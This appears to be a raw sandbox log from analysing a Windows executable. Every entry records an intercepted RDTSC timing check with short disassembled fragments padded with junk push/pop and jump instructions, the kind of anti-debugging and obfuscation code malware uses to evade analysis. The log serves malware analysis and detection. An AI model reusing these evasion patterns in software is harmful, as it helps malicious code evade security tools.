Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2991A4 second address: 2991A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 298C02 second address: 298C06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 298C06 second address: 298C10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 298C10 second address: 298C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 298C14 second address: 298C1E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8FACDB0566h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 298C1E second address: 298C3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F8FAD4EAD65h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 29B340 second address: 29B349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 29B349 second address: 29B34F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 29B34F second address: 29B355 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 29B48D second address: 29B49E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F8FAD4EAD56h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 29B49E second address: 29B4A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8FACDB0566h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 29ED68 second address: 29ED6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 29ED6C second address: 29ED97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F8FACDB0577h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c js 00007F8FACDB0566h 0x00000012 pushad 0x00000013 popad 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 29ED97 second address: 29EDA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F8FAD4EAD56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 29F055 second address: 29F08B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8FACDB056Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 jl 00007F8FACDB0566h 0x00000018 popad 0x00000019 jmp 00007F8FACDB056Dh 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 29F08B second address: 29F0B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d jmp 00007F8FAD4EAD68h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 29F0B0 second address: 29F0BA instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8FACDB0566h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 29F0BA second address: 29F0C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 29F354 second address: 29F38E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F8FACDB0573h 0x0000000e js 00007F8FACDB0566h 0x00000014 jmp 00007F8FACDB0576h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2A50F1 second address: 2A5107 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD62h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2A5107 second address: 2A510C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 20A6FA second address: 20A704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2A3F09 second address: 2A3F0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2A3F0F second address: 2A3F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8FAD4EAD64h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2A3F28 second address: 2A3F47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8FACDB0578h 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 249E2F second address: 249E34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 249E34 second address: 249E56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB0574h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F8FACDB0566h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 249E56 second address: 249E94 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8FAD4EAD56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b nop 0x0000000c mov edi, dword ptr [ebp+122D372Dh] 0x00000012 mov edi, dword ptr [ebp+122D2C9Eh] 0x00000018 push 00000004h 0x0000001a sub dword ptr [ebp+124563F0h], esi 0x00000020 add edi, 6BCDFBD1h 0x00000026 nop 0x00000027 jnp 00007F8FAD4EAD61h 0x0000002d push eax 0x0000002e push edi 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 249E94 second address: 249E98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2A41F1 second address: 2A420A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F8FAD4EAD64h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2A4389 second address: 2A43A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8FACDB0577h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2A4DCD second address: 2A4DD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2AA0C8 second address: 2AA0CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2AA0CF second address: 2AA0D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2AA0D5 second address: 2AA0DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2AA0DB second address: 2AA0DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2A956E second address: 2A9572 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2A9572 second address: 2A95AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8FAD4EAD62h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c jmp 00007F8FAD4EAD5Ah 0x00000011 pop ecx 0x00000012 pushad 0x00000013 jbe 00007F8FAD4EAD56h 0x00000019 push esi 0x0000001a pop esi 0x0000001b push esi 0x0000001c pop esi 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 jns 00007F8FAD4EAD56h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2A9954 second address: 2A99C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB0571h 0x00000007 jmp 00007F8FACDB0573h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F8FACDB056Bh 0x00000016 jmp 00007F8FACDB0570h 0x0000001b jmp 00007F8FACDB056Fh 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 push ebx 0x00000024 pushad 0x00000025 popad 0x00000026 jmp 00007F8FACDB0574h 0x0000002b pop ebx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2A9B14 second address: 2A9B18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2A9C81 second address: 2A9C97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB056Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2A9C97 second address: 2A9C9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2A9C9C second address: 2A9CA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2B04C1 second address: 2B0503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8FAD4EAD56h 0x0000000a jmp 00007F8FAD4EAD69h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 popad 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F8FAD4EAD60h 0x0000001d jno 00007F8FAD4EAD56h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2B0691 second address: 2B0697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2B0697 second address: 2B069C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2B07E2 second address: 2B07EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2B07EA second address: 2B07F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2B07F2 second address: 2B07F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2B1386 second address: 2B138C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2B138C second address: 2B1390 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2B1390 second address: 2B1396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2B1B74 second address: 2B1B78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2B1B78 second address: 2B1B7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2B62BC second address: 2B62C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2B5449 second address: 2B5450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2B557F second address: 2B5583 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2B5583 second address: 2B558B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2B5B57 second address: 2B5B84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB0576h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8FACDB056Fh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2B5D11 second address: 2B5D20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 js 00007F8FAD4EAD56h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2B5D20 second address: 2B5D2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8FACDB0566h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2BAC81 second address: 2BAC85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2BAC85 second address: 2BAC8F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8FACDB0566h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2BAC8F second address: 2BACC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 je 00007F8FAD4EAD6Bh 0x0000000e jmp 00007F8FAD4EAD65h 0x00000013 js 00007F8FAD4EAD5Ah 0x00000019 push esi 0x0000001a pop esi 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jng 00007F8FAD4EAD56h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2BACC6 second address: 2BACCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2C0A8C second address: 2C0A90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2C0A90 second address: 2C0AA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c js 00007F8FACDB0566h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2C0AA2 second address: 2C0AE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD61h 0x00000007 jmp 00007F8FAD4EAD5Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F8FAD4EAD65h 0x00000013 popad 0x00000014 jbe 00007F8FAD4EAD92h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2C0AE5 second address: 2C0AEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2C0C76 second address: 2C0C82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F8FAD4EAD56h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2C10A0 second address: 2C10A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2C10A6 second address: 2C10AF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2C136F second address: 2C1375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2C1375 second address: 2C1396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 jmp 00007F8FAD4EAD5Ah 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8FAD4EAD5Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2C20E7 second address: 2C20ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2C20ED second address: 2C20F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2C20F3 second address: 2C20F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2C20F7 second address: 2C20FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2C20FB second address: 2C2106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2C27D6 second address: 2C27DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2C27DA second address: 2C27E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2C0692 second address: 2C06AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8FAD4EAD5Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2C06AA second address: 2C06BD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F8FACDB056Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2C9F7A second address: 2C9F80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2C9CB3 second address: 2C9CEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FACDB0570h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jp 00007F8FACDB0566h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 jnp 00007F8FACDB0568h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c pushad 0x0000001d jmp 00007F8FACDB056Bh 0x00000022 pushad 0x00000023 popad 0x00000024 pushad 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2D99E8 second address: 2D9A16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD66h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F8FAD4EAD62h 0x00000011 jne 00007F8FAD4EAD56h 0x00000017 je 00007F8FAD4EAD56h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2D9A16 second address: 2D9A1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2D9A1C second address: 2D9A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8FAD4EAD60h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2D9A30 second address: 2D9A34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2DBF47 second address: 2DBF51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 pop eax 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2DBF51 second address: 2DBF5F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F8FACDB0566h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 2DBF5F second address: 2DBF63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
